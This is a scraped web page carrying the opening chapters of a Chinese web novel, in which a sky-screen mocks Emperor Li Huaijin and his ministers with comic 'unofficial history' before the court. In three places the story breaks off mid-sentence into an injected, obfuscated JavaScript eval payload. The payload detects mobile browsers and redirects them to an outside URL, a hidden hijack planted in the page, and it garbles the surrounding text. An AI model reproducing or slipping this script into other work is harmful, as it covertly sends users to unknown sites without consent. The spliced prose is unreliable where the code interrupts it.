《朕怎么不知道》 1. 天幕 “铮——” 天统元年,三月初三。 大吉。 未被云层遮掩的日光洒在煌煌大殿,为万物镀上了金边。仿若云雾的香火缭绕于肃穆群臣间。沉重的冕服包裹着瘦削的身形,手持香烛的新帝踏上白玉石阶,步步迈向承载着大昭列祖先贤英魂的宗庙。 被十二旒冕冠遮掩的面庞看不清什么神色,悠扬的诵读声绕梁,李怀瑾沉默且庄重地行至宗庙前。钟声蔓延,群臣缄默地等待着。 年轻的帝王亲手点燃香烛,袅袅青烟直向九天而去,玉组佩碰撞间,天子迈入宗庙。大昭列祖的牌位沉默地注视着这位帝王,而在他躬身一拜,欲要将香烛插入香鼎之际,明媚的日光竟失了三分色彩。 下首忽地出现骚乱。 “天——” 一片仿若渡鸦的存在展翅,换来一声被吞没的惊呼。 愕然的双眸中映着不断扩大的黑幕,群臣表面的庄肃平静被无情撕裂。随着大半日光皆被吞噬,刺耳的惊叫再也压抑不住: “天裂了——” 双手猛地一颤,香灰洒落到帝王手背。 刺痛蔓延,李怀瑾却顾不得这些。猛然回眸,华贵的冕旒虽遮掩了部分视线,却掩不住那遮天蔽日的巨大黑幕。他死死注视着九天之上的奇异,只觉头晕目眩间,心亦沉到了谷底。 天,裂了。 …… 这般的异象,无人不慌乱,无人不恐惧。 阵阵惊叫自京城中传来,百姓慌乱叩首,祈天饶恕。宗庙下首的群臣亦面无血色,只步步后退,似想要远离这仿若无深渊的黑暗。 右丞孔克己是最先反应过来的人。 “陛下,此乃吉兆。” 注视着上首帝王,孔克己咬紧牙关,撩起衣袍,向少帝跪下叩首:“臣饱读诗书,自知圣贤降世,必有吉兆。想必今日便是我大昭列祖先贤深感陛下圣明,特赐此神迹。臣,为陛下贺!” 纵使此物比天狗食日还要骇然!但孔克己却仅用一言便将其钉为神迹。群臣恍恍惚惚间,左丞顾何惟亦随之跪地,向上首的天子恭贺:“右丞所言亦是臣之欲言。臣,为陛下贺。” 两位丞相皆言此为吉兆,群臣虽心下惊疑,却也紧随其后跪地叩首。 “臣,为陛下贺!” 震耳欲聋的声音萦绕耳畔,攥着香烛的指尖微微收紧。李怀瑾垂眸注视着两位丞相,长睫压抑下的眼眸无甚情绪。 这必须是吉兆。 纵使这黑幕遮天蔽日,仿若金乌陨落,它也必须是吉兆。 天人合一。若不是吉兆——白昼无日本就大凶,祭祖当日白昼无日更是帝王之罪。若是如此,那自己这个帝王该死,跟随自己,将自己亲手托举至这至高无上之位的重臣便更该死。 呵…… 压抑褪去,李怀瑾面上滴水不漏。恢复了肃穆崇敬的帝王退出宗庙,行至黑幕下,将手中已焚烧过半的香烛对天高举,恭敬三拜,插入香鼎。 白烟袅袅,随风向天而去。 群臣亦徐徐起身,随帝王点燃香烛,对天三拜。 【滋,滋滋……】 异象再生。 众目睽睽之下,黑幕竟无故闪烁。它几度变做白幕,又几度变回黑幕,并传出断断续续不可分辨的声音。 城中百姓更慌,甚至有人急忙忙地捧出了自家供奉的女娲神像。但在人间帝王毫不避讳的注视下,几般变化的天幕终是定格在了白幕,上书一行洒墨大字,张扬潇洒—— “论,大昭文帝,李……” 那行过分简陋,于大昭读书人而言有些缺胳膊少腿的文字其实并不算难辨认。但在认出那名讳为何之际,低声诵读的官员当即噤声。 鸦雀无声。 宗庙之下,认出那三字的百官皆缄默不语。他们不敢去看上首站立的天子,自也无法发觉天子骤然攥紧的手。 【《论:大昭文帝李怀瑾(不正经版)》】 帝王名讳高悬于天幕神迹之上。而一阵滋滋声后,在众人或恐惧,或惊慌,或敬畏的目光下。 白幕上的文字缓缓变化,并传出了无波无澜的女声。 【大家好,我是独家讲坛。今天,我们来说说大昭文帝李怀瑾。】 天幕的发音较比大昭官话虽格外怪异,但流入他们耳中却并不难理解。只是那过分无起伏的声音实在不似活人吐字——孔克己将其定义为天言,天语。 夏虫不可语冰,井蛙不可谈天。 这显然是神迹,这也定然是神迹。 既是神迹,又如何是他们能置喙的。 思至此处,孔克己定了定神。天幕却已开始了侃侃而谈: 【大昭文帝李怀瑾,昭太祖第七子,少年登基。虽是深宫天子,在位时却武德大兴,平北狄灭西夷,诛交趾?设安南,打通乱世时遗失百年的河西走廊,重现丝绸之路;收复北地燕云十六州,还汉人故土。】 条条功绩与史料展现于天幕之上,意识到其背后意义的群臣呼吸一滞,不敢去看主张重文轻武的右丞脸色。 而除去自《昭书》中摘取的单薄文字,白幕之上亦显现了沙场兵戈。上书“昭”字的赤红军旗仿若鲜血染就,携着大昭天威,插在了蛮族王庭。 注视着那迎风而动的血色军旗,李怀瑾面色不改,掌心却几乎被刺出血痕。 【然,纵其战绩显赫,也绝非穷兵黩武。】 【昭文帝深有识人之明,任用贤臣,大兴变革。不仅创立义塾,进行农业改革,商业改革,推行新农具,且重开海运,普及高产作物。最盛时甚至做到了家家有余粮,京中粟米不过十三四钱每石。】 京中百姓的哭嚎一顿。 他们听不懂天幕所说的功绩,但能听懂当今这位陛下又要打仗了。他们不想打仗,不想让自家儿郎马革裹尸。但——粟米!能填饱肚子的粟米! 十三四钱每石的粟米! 前朝末帝荒唐,不仅大兴劳役,且穷兵黩武。在其摧残下生活了数十年,京中百姓的余粮早已被搜刮殆尽。要知道,改朝换代不过十余年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430704|200920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,战乱更是未有一刻平息,长安城当今的粟米可是两百钱一石起! 两百钱!若是神迹所言为真,他们当下买一石粟米的钱在未来能买近十五石粟米! 那可是十五石啊……够一个成年男人吃一年多! 而注视着天幕上堆满的粮仓与田野间沉甸甸的稻谷,因“武德大兴”怒火上涌的孔克己慢慢冷静了下来。他以近乎冷酷的目光审视片刻天幕上的史料,又缓缓回眸,看向立于日光下的天子。 冕旒遮掩了天子的面容,只能窥得其唇角似有若无的笑意。 “陛……” 孔克己的声音被天幕打断了。 【昭文帝的出现,可谓一举扭转了中原王朝近百年的颓靡。在乱世后落下宝座的天.朝上国,被这枝蓬勃生长的梧桐树托举着,再度回到了她应有的位置——九天阊阖开宫殿,万国衣冠拜冕旒。】 九天阊阖开宫殿,万国衣冠拜冕旒! 汉唐的余韵仍在大昭回响,天.朝上国的美梦也在群臣的心中徘徊。但建立不过十余年的大昭依旧脆弱,合约中签订的舅甥,对蛮夷不得已的退让,如何比得上真正的君父?如何比得上“西极道九千九百里”,又如何比得上“汉兵方至,毋敢动。动,灭国矣”? 他们都清楚,所谓上国只是大昭上至帝王下至群臣的一场美梦。 但这场梦在未来,竟真的—— 心潮澎湃间,群臣恭贺声四起。端正立于上首的李怀瑾注视着天幕显现出的金碧辉煌,却唯有那双长睫轻颤了颤。 【不过,昭文帝的功绩并不是三言两语便能说清的。何况这里是独家讲坛,而不是百家讲坛,简单介绍一番便好。毕竟我想,大家也不是来上课的。那我们今日便不再谈他的功绩,只说野史。】 天幕却忽地话锋一转,原本无波无澜的声音似也多了几分难以言说的诡异俏皮。 【……海纳百川的野史。】 意味深长的声音悠然,并未引得谁人警惕。 而偏偏就在兴奋的史官沾好墨笔,欲要龙飞凤舞地记下今日这天降神迹之际,天幕再度响起的声音骤然变得澎湃激昂。 【没错!我知道你们想听什么!那我们今日就先来说说昭文帝少年时期给那几位知名权臣卖身上位的事吧!】 ——?!! 墨笔猛地怼到了丝绸之上,留下一个巨大丑陋的墨痕。不敢置信的史官猛地抬起头,瞳孔地震地注视着那巨大天幕之上分外潇洒的字迹。 李怀瑾:“……” 知名权臣:“……” 群臣:“……” 静默片刻后,面无表情的李怀瑾注视着那行荒唐大字,一字一顿,毫无波澜地念出了天幕之上的标题:“携手揽腕入罗帏,颦蹙春山入醉乡。” 他顿了顿,又偏了偏头:“卖、身?” 知名权臣:“……” 群臣:“……” 长久的沉默后,李怀瑾垂眸看向眼观鼻鼻观心的臣子,轻笑了一声:“诸卿觉得,朕是卖身给谁呢?” 2. 野史 天子的声音温润绵长,带着几分悦耳的笑意。 但这平易近人的话语却未得到任何回应,群臣间落针可闻。而凝视下首片刻,李怀瑾不再去看他们,只望向高高在上的天幕。 【众所周知,当代历史圈有一个知名流派——“沟子流派”。其起源,是某乎一条问题的回答:某朝太祖为何不遮掩自己做过乞丐的历史。】 【而今天,独家讲坛也有一个问题:昭文帝李怀瑾为什么不掩盖自己年少时与朝臣勾搭的历史。是为了抹去青少年时立的小白花人设?还是为了将自己的心机袒露人前?以防因得罪史官而惨遭降智?】 【独家讲坛认为,都不是。】 静默片刻后,激情澎湃的话语抑扬顿挫: 【——是因为真实的昭文帝,就在给朝臣卖沟子啊!】 “?!!” 众臣神情扭曲一瞬。 比起前文只是将权臣划入其中,这段话几乎没有放过任何一个朝臣。没有人想要这样的“殊荣”,要知道,纵使是闺怨诗,也只是将臣子比做妻子,君王比作丈夫,恨自己不能得到陛下垂青。 谁能,谁又敢将君王比作自己的妻妾? 众臣只恨自己不能原地消失。而上首,李怀瑾面无表情。 屡禁不止。 无论是身为陛下,还是太子,李怀瑾都很清楚,民间并非全无对前朝的暧昧揣度。比起那些严肃的正史,百姓总是会更喜欢那些仅在民间流传的故事。 没有不灭的王朝,没有不朽的棺椁,没有不腐的肉身。 大昭也终会成为一本史书,成为后世口中的前朝。万世一系终究只是帝王与臣子的妄念,李怀瑾心中并无这样的妄念。他接受自己成为后人口中戏说的谈资,却无法接受这样荒唐的谈资被摆到本朝。 天子需要威严。 皇权需要威严。 【当然。】不知自己还有这样一群思虑繁多的观众,天幕兴致盎然地自问自答:【一定会有人质疑:独家讲坛独家讲坛,你又在瞎说了。这是饭吗你就端上来?昭文帝身为千古一帝,是让你这样造谣的吗?】 【可野史也是史。身为太史公的粉丝,独家讲坛自然有赛博史官的职业操守:纵使本期、及往期视频都只是我的一家之言,但也绝不会摘取当代史同大作,如《怀瑾握瑜》,《宫瓶梅》,《金屋匿》等作为史实。 独家讲坛可以保证,我所阐述的每一句话,或捕风捉影,或扭曲事实,或角度奇特,但都来自史书,是摘取的史实。 所以,各位看官大请放心。】 不。 众人连呼吸都放到最轻。 他们一点都不放心! 真真假假,假假真真,后人说得清,看得清。可是当局者迷,本朝建立不过二十年,停止征战,休养生息更是不到一年。这片土地并不安定,也不安稳,处处都是疮痍,处处都是乱象。 此番情景,只要百姓信了三分,就是天大的麻烦。 【众所周知,李怀瑾一生遇到的男人,刚好组成风花雪月这四个字。 林知绪是如影随形却抓不住的风,霍悯之是明媚张扬但染着剧毒的花,顾何惟是冰冷彻骨又曾救他于冬日的雪,沈显是终其一生只能在水中相伴的月。斛律闻已是四个字,霍暃和孔妄是男人,薛缭是疯子。】 天幕十二卷,卷卷无爷名。 天幕实在过分荒唐,也过分戏谑。群臣此时几乎将被其提名视作官途已尽:较比先帝,陛下虽性情宽和。可即便是再宽和的君王,又有几人能忍受这般的羞辱?又有几人能接受曾为他带来羞辱的臣子? 可随着话音落下,本略提起几分心的群臣将心又落回了肚子里。而与胞弟共襄盛举的霍悯之挑眉,隐约听到独子名姓的孔克己也猛地抬起了眼。 【只要阅读过昭史,比起一生都没有皇后,甚至继任太子是否亲生都存疑的后宫,昭文帝的前朝难免让人大呼精彩。纵使对帝王来说,雨露均沾是要义。但为了尊重史实,也为了尊重本章标题,更为了让李怀瑾不陷入左右为男的修罗场,我们还是一个一个来。 那么今日野史的第一小节,我们便从各位票选出的第一名,各方形象都与标题相扣,同李怀瑾相识于微末的初恋,顾何惟说起。 也算以这场史书钦点的虐恋情深为一个轰轰烈烈的开始。】 虐恋,情深? 思绪截断,李怀瑾不再去思索民间若因此生乱的对策。天幕的措辞不难理解,天子微微一顿,分出几分目光,看向顾何惟。 却恰好对上顾何惟的视线。 玉珠后的天子微微一笑,一袭冕服的臣子无言垂眸。 …… 且不论何为虐恋,但他的确很喜欢顾何惟。 李怀瑾平静地想。 是问,谁会不喜欢有能力,懂眼色,有分寸的臣子呢? 时年不到而立的丞相过分年轻,却也配得上自己的官位。做为先帝留下的顾命大臣,顾何惟足够冷静,足够体贴。而十几年里养出的默契,也让他最能理解李怀瑾的想法。或许是清楚自己年轻到身居此位必令人指摘,顾何惟更从不会如其他重臣般,自持身份作出任何逾矩的行为。 他是李怀瑾的肱骨之臣。 因此,李怀瑾并不意外“权臣”中有顾何惟的名字。 家族荫蔽与自身能力已让顾何惟升无可升,他是毋庸置疑的重臣,也可以称之为权臣。而比起那些奸诈狡猾,让人抓不住尾巴,又烦不胜烦的老臣,顾何惟的确最合他心意。 李怀瑾微笑着捻了下指尖。 只要顾何惟一直清醒,一直有分寸,一直合他的心意。便必然会得到更多的重用。 得到他的重用。 …… 【独家讲坛曰,正经人不写日记。】 天幕缓缓转黑一瞬,又再度亮起,慢条斯理道。 【很难说,流传至今的《文帝随笔》究竟被多少人改过。也很难说,李怀瑾究竟是不是正经人。但身为昭史同女此生必读的大作之一,《文帝随笔》可以说是集百家之长。 无论你磕哪一对,无论你是支持文帝开大院,还是支持1v1纯爱,由李怀瑾日记编撰整合而来的《文帝随笔》,如《昭文故事》般,都能让人流连忘返,意犹未尽。】 正经中带着几分跳脱,跳脱中又带着几分正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430705|200920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经的声音幽幽。李怀瑾唇边笑意不变,目睹天幕之上浮出一行文字:【《文帝随笔·昭文故事·顾何惟篇》】 【身为本视频不可或缺的史料来源,独家讲坛需要在此声明:《昭文故事》的出处不明,主流说法依旧是文帝朝臣子一同编撰,本系列将采用此说法进行臆想(勿代入正史)。 而史学界虽对《文帝随笔》有不少争议,但随着前些年,李怀瑾胞弟晋王李从瑜的陵墓被保护性开掘后,传闻中李怀瑾驾崩之际赠予李从瑜保存的亲笔手记也被挖出。已复原的部分与流传至今的《文帝随笔》虽有所矛盾,但无伤大雅。】 【既如此,独家讲坛将互相对比参照着,讲述顾何惟的篇章。】 “——八哥!” 刺耳的声音忽地响起,众人循声望去,只见晋王李从瑜神情恍惚,身如细面,摇摇欲坠地向滕王倒去。时年不过十二岁的滕王咬紧牙关,抬手想要接住李从瑜,却高估了自己的力气。 “晋王殿下!滕王殿下!” 两位亲王重重倒地。而脚步凌乱的嘈杂声中,滕王想要痛呼,却先看到了面如死灰的李从瑜。 ……方才天幕说了什么? 他脑子转了转,猛地又发出一声尖叫。 “八哥的墓被挖了——” 意识到自己在大庭广众下出了个大丑,也意识到自己身后之地不复。李从瑜呼吸一滞,死死闭上了眼。 随着滕王的话音落下,终于意识到天幕方才又吐露了什么暴言的群臣皆是一僵,近乎惊惧地看向上空——掘人坟墓不亚于杀人父母。后世是怎么回事,居然连前朝亲王的墓都保不住?!这般乱象,后世的君王难道就不怕自己身死,也护不住自己的陵墓吗? “……岂有此理!岂有此理!” 以两位亲王为中心,兔死狐悲的各亲王急的团团转。 可天幕不会为任何人停止,也不愿循任何人的心意,吐露更多坟冢之事。 它自顾自道:【昭史中说,顾何惟曾是李怀瑾的伴读,亲密无间。 文帝随笔与昭文故事中同样佐证了这一点,却不止是这一点。】 天幕将要进入正题。可此时,除去李怀瑾与顾何惟,似乎也再无几人有心去听。 【昭太祖常年出征在外,后宫却没有皇后,管理混乱。 正因如此,底层的太监宫女总会受到其他人的欺辱排挤。在扭曲的环境里,弱者接受到的恶,往往会落在更弱者身上。 天高皇帝远。身为一个母族无依无靠,母亲早逝,且不被陛下看到的皇子,李怀瑾毫无疑问是当时的更弱者,甚至是可以让人得到“欺辱皇子”这病态满足感的、更高级的弱者。 李怀瑾的童年是毋庸置疑的可悲。早逝的母亲病弱的弟弟,不管不顾的父皇,与看不起他们的太监宫女,一齐造就了破碎的他。 人苟活的方法不少,可是一个孩子能做什么呢?哪怕是千古一帝,幼时也只是一个孩子。李怀瑾只能破破烂烂的拉扯着弟弟,破破烂烂的长到了六岁。而在六岁那年,李怀瑾晦暗无光的人生迎来了第一个转机。 他在元兴七年那个寒冷的冬天,遇到了顾何惟。】 3. 救美 随着仪鸾司与太医到来,驱散了围在晋王与滕王周身的亲王后,一心两用的群臣也再度将目光投向天幕。 【《文帝随笔》中,从未明说李怀瑾与顾何惟的初遇是怎样。但仿照《汉武故事》讲述李怀瑾的《昭文故事》,却细细描绘了这一场景。】 等等。 忆起什么的众臣一愣。 汉武故事? 汉武故事! 虽未见《昭文故事》成书,但《汉武故事》究竟能不能给汉武帝看,大昭众臣心里一清二楚。可是天幕却说,《昭文故事》是昭文朝群臣一同编撰…… 众臣:“……” 微微抬起下巴,璀璨的金眸眯起。 “昭文故事?”天子似乎笑了一声:“听着倒是有趣。” 【而《昭文故事》虽然是白话文,却依旧晦涩。既如此,便且看《昭文故事·第二十一回》,独家讲坛译版: 大雪覆盖了皇城,长安的冬很冷。 份例里的炭火总是发不足,每日的饭食都冷的像块石头。 而屋漏偏逢连夜雨,在深冬时节,李从瑜又病了。早产生出的孩子总是体弱,李从瑜也是如此。他需要吃很多很多的药,需要很温暖很温暖的环境,才只能成为一个普通人。一个不发烧,不咳嗽,不头晕,走得稳路的普通人。】 【纵使母亲也不得宠,但在没有母亲后,李怀瑾与李从瑜的日子过的愈发难。宫里的女人不多,也都有自己的孩子,没人愿意养他们,没人愿意照顾他们,哪怕安排下来的侍从,也总是偷奸耍滑,不愿照看在传言中“克死”亲娘的皇子。 因此,明明只有六岁,李怀瑾却要被迫长大,去替病弱的弟弟争,争他们本该得到的东西。】 心似乎被什么骤然抓紧。 闭着眼睛,天幕的声音愈发清晰。李从瑜仿佛又被带回了童年——他其实并不记得多少。一场又一场的高烧没有烧傻他已是万幸,以至于五岁前的记忆模糊不清,倒也算不得什么毛病。而五岁后,他的皇兄已经被父皇看见。虽不至于一步登天,却也不会再与他一起,悄无声息的死去。 ……皇兄。 眼眶不自觉发酸,李从瑜暗自掐住了掌心。 纵使有编撰的成分,但李从瑜清楚,他的皇兄就是这幅模样。坚韧,果敢,用自己瘦弱的肩,替他撑起一片天。 他的皇兄,真的一直在为他去争。 【早产和难产,李从瑜的降生带走了他们的母亲。很难说李怀瑾究竟有没有恨过李从瑜,但他确实将李从瑜照顾的很好。 身为没有能力的孩子,李怀瑾其实不喜欢和宫女太监发生矛盾,任何矛盾。多数时他都在忍让,忍让被克扣的炭火月例,忍让被调换的饭食衣物。可是他能忍,他不能让李从瑜也忍——李从瑜的身体很差,年龄也小得多,他不能让李从瑜死。 李怀瑾能接触到的宫人最小的也有十几岁。而他只是孩子,一个在冬天出生,刚满六岁的孩子。甚至自小营养不良,李怀瑾生的比寻常皇子瘦小,也没有多少力气。 但为了弟弟,他不仅要争,也要抢,更要和那些高大的宫女太监们争执。 母亲将弟弟托付给了他,他要带着弟弟活下去。 至少,要活过这个冬天。】 李从瑜的眼睫剧烈颤动着,一直关注着他的滕王再度发出尖叫。 “醒了!八哥醒了!” 在众人的注视下,李从瑜缓缓睁开眼。 大抵是太阳太亮,他只觉得眼睛愈发酸涩,仿佛有水要落下。吸了吸鼻子,李从瑜拨开滕王想要来掐他人中的手,转过头,看向太医。 太医:“……” 太医:“殿□□弱,许是站的久了,才会……” 李从瑜颔首,直接撑地站起,理了理衣摆袖口,尽可能体面地向高台上的李怀瑾行了一礼。 “陛下。”他闷声道:“臣弟失礼了。” 【生病了要吃药,要喝温水,要烧好的碳,不然只会被呛到,咳得更厉害。所以在求到太医的药方后,李怀瑾又去找管事太监追要份例里没给足的炭火,却空手而归。他没有得到任何东西,除了一顿呵斥和讥讽。 愤怒吗?已经没有愤怒的想法了。 李从瑜是母亲留下的弟弟,李怀瑾只想让李从瑜活下去。于是他抢走了一旁小太监手中将要送给贵人的碳,拔腿就跑。 可是一个六岁的孩童,能跑的多快呢。】 李从瑜的声音很低,高台上听不明晰。 可李怀瑾却收回投向天幕的目光,看向了李从瑜。 他这个弟弟总是很天真。或许是病了太久,让他习惯了及时行乐,李从瑜总是一副不稳重的样子。他喜好花,喜好树,喜好诗画,喜好山水,也喜好歌舞。 但这没什么不好。 弯了弯唇角,对自己的胞弟,李怀瑾温言道:“无碍。八弟若不适,可先回殿中歇息。” “……”李从瑜的声音更低了:“多谢皇兄,臣弟已大好。” 【短短的腿,在那群太监眼中,跑的就像一只垂死挣扎的兔子。 可那双纤细的手臂,却牢牢抱住了大大的篮子。 咒骂声在身后不断响起,太监三两步就追上了那个小贼,拎起来他的衣领就要抢夺篮子。可李怀瑾却出其不意,低头狠狠咬上他的手背,生生咬下了一块肉。 抢夺终于变成了殴打。 咬紧牙关,被如破麻袋般痛打的孩童没有发出痛呼,可拳打脚踢的太监却嘴不干净。他们恶毒地咒骂着李怀瑾,声音并未传出很远,却还是吸引了在附近迷路的少年。】 编的不错。 太阳渐渐落下了山头,在灿灿夕阳下,天子轻扯了扯唇角。 当真是传记故事。毕竟,哪有太监真的敢殴打皇子呢? 不过一份碳罢了,本就是他应得的,抢了也没人敢闹大——毕竟再低贱的皇子也是皇子,再高贵的太监也还是太监。纵使他的童年并未好到哪里,却也没有真的吃这一顿拳打脚踢。 何况,太监们最擅长的,是从各种细碎的地方折磨你。他们极少会真的咒骂,更不会在光天化日下光明正大的殴打。 【人之初,性本善。 且不论未来的顾左丞究竟是何等模样,年少时的顾何惟的确是一个光伟正的好少年。他冲上前去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430706|200920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救下了已经脱力的孩童,于冬日格格不入的青衣被血污沾染,顾何惟带走了遍体鳞伤的李怀瑾,并将此事禀报给了太祖。 那是李怀瑾第一次被送到太祖眼中。虽然子嗣众多,秉持着弱肉强食态度的太祖并不在意这个脆弱的小儿子,但顾何惟的据理力争也为李怀瑾争取到了从未有过的待遇——一切身为皇子正常的,该有的待遇。】 顾何惟…… 李怀瑾轻轻垂下了眼。 先帝总是说他讨人喜欢,是最聪颖的皇子,也是最明事理的皇子。 可哪有什么是与生俱来?不过是勤能补拙罢了。他聪颖,是因为他挑灯夜读。他明事理,是因为他对先帝只会说先帝爱听的话。而他明白该说什么会讨人欢心,该做什么会得人青眼,则尽是因为顾何惟。 顾何惟是他曾经的伴读,也是他的第一位师长。 温暖的青衣像是翠绿的叶,托起了摔断小腿,在雪地中濒死的他。顾何惟救了他,也在明白前因后果后,教导他该如何和先帝讲述。而凭着最厌恶的矫揉造作,才让他终于得到了一份目光。 能让他与李从瑜活下去的目光。 望着下首左丞,李怀瑾弯了弯眉眼。顾何惟敏锐捕捉到了这一点,再度垂眸,避开天子的目光。 真有分寸啊…… 李怀瑾在心底轻叹。 所以,他喜欢顾何惟。 【毫无疑问,这是一场美好的相遇。 谁能拒绝英雄救美呢?哪怕只是史书上的只言片语,也被千年后的后人翻来覆去,细细品味。 这次初遇,奠定了顾何惟在李怀瑾心中的特殊。 无论顾何惟本性如何,本心如何,自那以后,他就像元兴七年的雪,洁白温柔,捧起了烂泥里的李怀瑾。他给了李怀瑾活下去的契机与勇气,他注定是特殊的,注定是不一样的。】 顾何惟默然。 一段不属于他的功绩,被强加到了他身上。顾何惟不会觉得欢喜,只觉得荒唐。他的确带走了曾经的天子,但他不喜旧事重提,不想挟恩以报,也不会仗着这个所谓的“恩人”身份对天子指手画脚。 君君臣臣父父子子。他只是臣子,便只该做臣子该做的事。 【不过,既然被称作初恋,李怀瑾与顾何惟间自然不会只有这一场初遇值得细说。】 上首的天子微侧了侧头。 冕琉摇晃间,那双耀眼的金眸似也变得模糊不清。 【郎骑竹马来。 抛却君臣身份,李怀瑾与顾何惟如何不算竹马竹马。比起年龄差甚大的小伙爱老头,老头爱小伙,这对相差六岁的竹马少年时,是真的亲密无间。他们同吃同喝同住,或许为了保护李怀瑾,也为了更好的照顾李怀瑾,明明是丞相长子,顾何惟却住在宫中。】 【有很多人说,比起太祖和帝师,李怀瑾更像顾何惟养大的。可即使日日相伴,顾何惟也没有将李怀瑾养成另一个自己。要知道,顾左丞自负高傲冷漠,还不爱说话。而昭文帝李怀瑾却如暖阳,温柔亲和平易近人,对任何臣子都一视同仁。】 李怀瑾:“……” 李怀瑾笑了笑,没有说话。 4. 独一 【谈起李怀瑾与顾何惟的过去,如果是史学家,大抵会感叹昭文帝与顾左丞的相辅相成。如果是磕学家,大抵会怜惜兰因絮果的二人。但独家讲坛是沟子学家,只会从一而终的恶俗。】 众臣:“……” 【那么现在,独家讲坛又有一个问题了。 到底是谁教李怀瑾拉拢朝臣,不顾一切将自己向上推的呢?】 【纵然,汲取营养是树木的本能。纵然,李怀瑾的确天赋异禀。纵然,他的童年是真真切切的可悲。纵然,任何人逃离苦海后都不会想回去。 但他的母亲只是江南养蚕女,李怀瑾的人生中没有得到任何外戚势力的帮扶。而长在深宫中的皇子也很难与朝臣有任何联系,为防谋权篡位,皇帝不会允许他们勾结。 所以,是谁教的呢?又是谁促成的呢?】 静了片刻,天幕斩钉截铁:【独家讲坛认为,是顾何惟。】 这倒有些冤枉顾何惟了。 天子没有看向被天幕污蔑的臣子,只百无聊赖地想着。 顾何惟的确教给他不少东西。从阴私谋划,到四书五经,再到政务文书,他所接触的一切,在最初几乎都是顾何惟手把手教他。 被称作圣天子,不代表李怀瑾是真的圣人。从没有人逼着他去争,从没有人逼着他去抢。是他自己需要权力,渴求更高的位置,想过上更好的生活。 可事事借助旁人,从不会让人真的得偿所愿。李怀瑾想要的是并不是成为顾何惟的附庸,因此有些事,他绝不会需要顾何惟的帮助。 【身为公认的文帝初恋,顾何惟这样做,显然是顺从李怀瑾的心意。 什么,当时的皇帝是太祖?这样做有违圣意? 根本无人在意。 即使在刻板印象中,顾何惟也是将君臣之道建设到极致的臣子,但他是只忠于李怀瑾的臣子。而身为设计出以夷制夷对策,令大昭不费吹灰之力打通河西走廊的文臣,他也不算正人君子。】 顾何惟:“……” 一而再,再而三。 不属于他的功绩,不属于他的罪名,皆被扣到了他头上。冷然的神情凝结,眉梢眼尾似挂着层不化的冰霜,顾何惟从一而终地沉默着,像一尊庄肃的石塑。 【《大昭风华》中有一句话:原来年少情深,也能走到相看两厌。 这段话,是融合了众多昭文帝朝臣形象(与昭文帝本人)塑造而成的原创主角对昭文帝所说。在剧中,他救李怀瑾于水火,伴李怀瑾长大,与李怀瑾年少情深,却因冤屈被李怀瑾处死,后让李怀瑾睹物思人。 但历史上,救李怀瑾于水火的是顾何惟,与李怀瑾从年少情深的是顾何惟,最终走到万劫不复的也是顾何惟。】 万劫不复。 苍老的眸子漾起波澜,孔克己忽然有些想要叹息。 究竟怎样的结局,才配得上万劫不复呢。 他并不算喜欢顾何惟。 任谁身为朝中老臣,兢兢业业走到丞相之位,却看着陛下心血来潮,将另一个丞相的位置给予了并未有多少实绩、仅凭着家族荫蔽便登上高位的青年,也会觉得不忿。 但先帝不是当今。 当今陛下温和,哪怕是数次谏言,也不会落得个惨烈下场,甚至连贬官都未曾有过。 可先帝从不会听文臣谏言,哪怕是死谏。 大昭如今的乱象,十之七八都是因先帝一腔孤勇,妄图在位时便拿下四夷,将可汗的头颅充做功绩而导致。孔克己看得清楚:乱世终结,百姓渴望的是太平,而不是接连征战。若没有朝臣在拼力去拉这匹脱缰的马,恐怕大昭早已冲下悬崖,粉身碎骨。 孔克己曾认为,先帝爱屋及乌,睹人思人,感情用事的行为,也是促使大昭走向万劫不复的举措之一。唯有当今多多听取谏言,不再任用佞臣,才能拨乱反正。 先帝好战,孔克己便想重文轻武。先帝攻伐四夷无果,孔克己便想休养生息。大昭现下只有三百余万户百姓,根本禁不起任何波澜。而在此时,当今陛下也是这样做的——本朝武将已不如曾经张扬跋扈,百姓也渐渐恢复了生机,不再如曾经般家家悬白绸,着素衣。 孔克己本以为未来百年的国策都会如此,天下安定,百姓安居。天幕却说,当今也会征伐。 那一刻,孔克己是愤怒的。 哪怕天幕说出四夷臣服,百姓家家有余粮,孔克己脑中仍浮现出沙场的累累尸骨,去想这样的结果,究竟要多少人的性命去填。 他将质问的目光投向了天子,天子却没有看他。孔克己只能压着愤怒,听着这仿若妖孽的天幕胡言乱语,说尽荒唐。 直到天幕吐出,以夷制夷。 “……” 当下的孔克己不是未来的顾何惟,并不知以夷制夷该如何去做。但既然能提出,且让大昭不费兵马打通河西走廊,便代表顾何惟的确是个能臣。 